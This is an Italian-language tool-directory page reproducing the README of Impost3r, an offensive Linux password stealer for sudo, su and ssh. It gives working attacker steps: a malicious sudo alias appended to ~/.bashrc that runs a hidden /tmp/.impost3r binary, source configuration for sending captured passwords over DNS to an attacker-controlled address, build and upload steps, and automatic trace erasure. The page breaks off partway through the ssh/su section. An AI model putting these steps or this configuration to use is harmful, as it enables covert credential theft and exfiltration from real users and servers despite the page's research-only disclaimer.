Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Impost3r — 👻Impost3r -- Un ladro di password per Linux | Kitploit
Strumenti/GitHubGitHub/ph4ntonn/impost3r
Attacchi alle PasswordPost-ExploitPenetration TestingRed Teaming
GitHubph4ntonn/impost3r

Impost3r

👻Impost3r -- Un ladro di password per Linux

Vedi Repository
664122111 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

imposter.png

Impost3r

GitHub issues GitHub stars GitHub forks GitHub license

English

Impost3r è uno strumento scritto in C per rubare varie password su Linux (ssh, su, sudo).

Gli utenti possono utilizzare questo programma per creare un watering hole e rubare le password degli utenti legittimi.

Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza e all'insegnamento. L'utente si assume ogni responsabilità legale e correlata derivante dall'uso di questo strumento! L'autore non si assume alcuna responsabilità legale o correlata!

Caratteristiche

  • Cancellazione automatica delle tracce di attività
  • Trasmissione dei risultati tramite protocollo DNS
  • Invisibile all'utente

Dipendenze

  • gcc

Utilizzo

Impost3r può essere utilizzato per rubare le password di servizi come sudo, su e ssh. Questi tre servizi possono essere suddivisi in due categorie: sudo e ssh/su. Di seguito sono discussi due casi.

Rubare la password di sudo

Richiede solo i permessi di un utente normale, non necessariamente root, ma può rubare solo la password dell'utente corrente, non quella di altri utenti.

  • Innanzitutto, supponiamo che l'attaccante abbia il controllo di un server con permessi di utente normale.

  • Verifica se esiste il file .bash_profile nella home directory dell'utente. Se .bash_profile esiste: controlla se carica esplicitamente .bashrc. Se lo fa, salta questo passaggio e i due successivi, prosegui con le operazioni successive. Se non lo carica esplicitamente, salta i due passaggi successivi e tutte le operazioni seguenti relative a .bashrc devono essere eseguite su .bash_profile! Se .bash_profile non esiste: passa al passaggio successivo.

  • Verifica se esiste il file .bash_login nella home directory dell'utente. Se .bash_login esiste: controlla se carica esplicitamente .bashrc. Se lo fa, salta questo passaggio e quello successivo, prosegui con le operazioni successive. Se non lo carica esplicitamente, salta il passaggio successivo e tutte le operazioni seguenti relative a .bashrc devono essere eseguite su .bash_login! Se .bash_login non esiste: passa al passaggio successivo.

  • Verifica se esiste il file .profile nella home directory dell'utente. Se .profile esiste: controlla se carica esplicitamente .bashrc (di solito lo fa). Se lo fa, salta questo passaggio, prosegui con le operazioni successive. Se non lo carica esplicitamente, tutte le operazioni seguenti relative a .bashrc devono essere eseguite su .profile! Se neppure .profile esiste, in linea di principio Impost3r non può essere utilizzato. Puoi tuttavia decidere di creare un file .bash_profile o .profile e inserire codice simile al seguente per caricare .bashrc:

if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
	. "$HOME/.bashrc"
    fi
fi
  • Copia il file .bashrc dell'utente: cp ~/.bashrc /tmp/ e posiziona questa copia in un percorso definito dall'attaccante (nell'esempio, nella directory /tmp/, l'attaccante può modificare).

  • Modifica il file .bashrc (~/.bashrc) nella home directory dell'utente aggiungendo la seguente riga alla fine (il percorso /tmp/.impost3r deve corrispondere al valore di FILENAME definito successivamente):

alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
  • Dopo l'aggiunta, salva il file ed esegui source ~/.bashrc.

  • Successivamente, l'attaccante deve modificare il codice sorgente di Impost3r /sudo/main.h:

/*
    Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\ Imposta la posizione di Impost3r sul server di destinazione
# define BACKUP_ORI_FILENAME ".bashrc" \\ Indica se il file di configurazione utente di backup è .bashrc, .bash_profile, .profile o .bash_login
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\ Indica la posizione del file di configurazione utente di backup sul server di destinazione
# define SAVE_OR_SEND 0 \\ Imposta se il risultato deve essere salvato sulla macchina di destinazione o inviato al server controllato dall'attaccante (invia=0, salva=1, default: invia)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\ Nota: se non vuoi acquistare un dominio per ricevere i messaggi da Impost3r e il server di destinazione non blocca le connessioni UDP dirette verso la porta 53 del tuo server DNS, lascia il valore predefinito;
\\ Tuttavia, se il server di destinazione limita rigorosamente le richieste DNS in uscita, imposta YOUR_DOMAIN con il dominio acquistato, ad esempio ".example.com", configura il record NS di questo dominio in modo che punti al tuo server DNS, esegui Fdns su questo server e imposta REMOTE_ADDRESS al DNS predefinito del server di destinazione, REMOTE_PORT alla porta del servizio DNS su tale indirizzo (di solito 53)
# define MAX_RESEND 30 \\ Imposta il numero massimo di tentativi di reinvio della password dopo il furto al server attaccante
# define RESEND_INTERVAL 5 \\ Imposta l'intervallo tra ogni invio della password
# define REMOTE_ADDRESS "192.168.0.12" \\ Imposta l'indirizzo remoto per l'invio della password
# define REMOTE_PORT 53 \\ Imposta la porta remota per l'invio della password

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\ Imposta il percorso del file dei risultati, quando SAVE_OR_SEND è impostato a 1
  • Dopo la modifica, salva ed esegui make nella directory corrente.

  • Nella directory corrente si ottiene il file compilato .impost3r.

  • Carica il file .impost3r nella cartella /tmp/ del server di destinazione (solo esempio, può essere modificato, purché corrisponda alla definizione nel codice sorgente).

  • L'attaccante avvia il programma server DNS sulla propria macchina e attende che un utente legittimo esegua sudo per ottenere la password.

Esempio di furto

Suggerimenti

  • Nel caso del furto della password di sudo, Impost3r cancella automaticamente le tracce dopo il successo; non è necessario che l'attaccante lo faccia manualmente.

  • Impost3r rileva automaticamente se la password inserita è corretta; termina il flusso e cancella le tracce solo dopo che l'utente ha inserito la password corretta.

  • Prima di usare Impost3r, verifica con sudo -v se l'utente corrente appartiene al gruppo sudoer. In caso contrario, non utilizzare Impost3r.

Rubare le password di ssh/su

Il metodo per rubare le password di ssh/su è diverso dal furto di sudo. Richiede privilegi di root e può rubare le password di qualsiasi utente.

L'esempio seguente è per Ubuntu; CentOS è simile, ma i file e i metodi di modifica potrebbero differire.

  • Supponiamo che l'attaccante abbia il controllo di un server.

  • Dopo aver ottenuto i privilegi di root (o l'amministratore ha avviato il servizio con root).

  • Modifica il file sorgente di Impost3r /ssh_su/main.h:

Scarica lo strumento